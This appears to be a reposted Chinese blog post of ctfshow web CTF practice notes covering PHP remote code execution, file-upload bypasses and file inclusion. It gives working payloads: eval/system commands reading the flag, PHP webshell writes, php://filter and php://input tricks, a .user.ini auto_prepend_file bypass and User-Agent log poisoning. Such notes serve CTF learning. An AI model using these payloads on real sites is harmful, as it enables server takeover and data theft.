ctfshow web刷题记录

news/2025/3/17 16:21:18/

RCE

第一题

eval代码执行 : 1、使用system 加通配符过滤

?c=system("tac%20fl*") ;

2、反字节执行      `xxx`

%20

echo + 反字节

3、变量转移

重新定义一个变量 让他代替我们执行

4、伪协议玩法

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

或者直接写入木马 file_put_contents(11.php,"<?php eval($_POST['cmd'])?>");

5、拷贝

?c=system("cp fla* 1.txt")

访问1.txt

复习完练习一个

代码执行

当然还是可以使用伪协议

复习之

文件上传漏洞

ctfshow练习

看介绍是前端的验证 :

玩法 :欺骗前端验证

使用gzl生成一个

改为 jpg后缀 之后上传

知道密码之后如果木马是post方式的传输就能使用这个post口直接进行传输

2、

后端的验证要严密 :

为了防止后端验证文件头 所以写个假的文件头 让它去验证

利用第一个的老套路居然上传成功了这是我没想到的

3、黑名单绕过 :

我们上传的文件只有png能上传成功说明是后端的waf

改一下ini为png后缀一会再改名 .user.ini

写入 :

auto_prepend_file=shell.png

上传一个 木马文件 shell.png

记住在 /upload下执行命令

文件包含

主要涉及到文件的读取,写入,代码执行

1个题全部展示

文件的读取 :

file=php://filter/read=convert.base64-encode/resource=flag.php

把这个base64解密就出来了

2、文件的写入

换一个单词就能用

在post中写入就行 但是这个的条件是有 file_put_contents

这个好用:

php://input

POST <?php fputs(fopen("shell.php","w") , '<?php @eval($_POST["pass"])?>')?>

文件的写入在ctf中非常麻烦所以不常用 同时上边文件的读取不知道 flag 的位置瞎猜也是非常难受 所以下边这个 命令执行非常牛x

3、命令执行

上边的写入其实就是命令的执行啊

php://input 加post就是这种

写上之后就能执行命令了很强

再一个就是 data 协议

利用data协议实现代码执行

使用加密

还有一个就是 文件包含的唯一真神 只要看着一堆 waf 绕不过了 直接使用

非常不吃操作

只需要记住 不同2个中间件的日志

apache : /www/log/apache/access.log

nginx : /www/log/nginx/access.log

怎么判断是哪个?

根据报错发现我们的路径错误了

抓个包 改一下这个ua头信息为恶意的木马

就成功注入了


http://www.ppmy.cn/news/1579850.html

相关文章

卷积神经网络 - 从全连接到卷积

在全连接前馈神经网络中&#xff0c;如果第 &#x1d459; 层有 &#x1d440;&#x1d459; 个神经元&#xff0c;第 &#x1d459; − 1 层有 &#x1d440;&#x1d459;−1 个 神经元&#xff0c;连接边有 &#x1d440;&#x1d459; &#x1d440;(&#x1d459;−1) 个…

【DevOps】Backstage介绍及如何在Azure Kubernetes Service上进行部署

【DevOps】Backstage介绍及如何在Azure Kubernetes Service上进行部署 推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 【DevOps】Backstage介绍及如何在Azure Kubernetes Service上…

vue3,Element Plus中el-select默认显示0

el-select默认显示0 <el-select v-model"queryDTO.checkGroupId" placeholder"请选择" clearable filterable style"width: 240px"> <el-option v-for"item in checkGroupOptions" :key"item.key" :label"it…

LInux基础--apache部署网站

httpd的安装 yum -y install httpdhttpd的使用 启动httpd systemctl enable --now httpd使用enable --now 进行系统设置时&#xff0c;会将该服务设置为开机自启并且同时开启服务 访问httpd 创建虚拟主机 基于域名 在一台主机上配置两个服务server1和server2&#xff0c;其…

Windows远程桌面黑屏怎么办?

在使用Windows远程桌面连接另一台电脑时&#xff0c;用户经常会遇到Windows远程桌面黑屏的问题。那么&#xff0c;该如何有效地解决Windows远程桌面黑屏的问题呢&#xff1f;遇到远程桌面连接黑屏的问题时&#xff0c;可以通过在本地组策略编辑器中禁用WDDM图形显示驱动来解决。…

Ubuntu24.10编译Android12源码并运行于模拟器中

效果如下&#xff1a; 初始化环境&#xff1a; 运行lunch弹出对应目标 生成模拟器版本镜像 镜像生成成功 生成模拟器启动镜像 编译注意事项: 24.10版本&#xff1a; sudo apt install curl curl -sSL https://gerrit-googlesource.proxy.ustclug.org/git-repo//master/r…

Python----数据分析(Pandas一:pandas库介绍,pandas操作文件读取和保存)

一、Pandas库 1.1、概念 Pandas是一个开源的、用于数据处理和分析的Python库&#xff0c;特别适合处理表格类数 据。它建立在NumPy数组之上&#xff0c;提供了高效的数据结构和数据分析工具&#xff0c;使得数据操作变得更加简单、便捷和高效。 Pandas 的目标是成为 Python 数据…

案例驱动的 IT 团队管理:创新与突破之路:第一章 重构 IT 团队管理:从传统到创新-1.1.3 敏捷开发 vs 传统流程

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 重构 IT 团队管理&#xff1a;从传统到创新1.1.3 敏捷开发 vs 传统流程一、核心理念对比二、流程与实践差异1. **传统流程的线性结构**2. **敏捷开发的迭代循环** 三、适用场…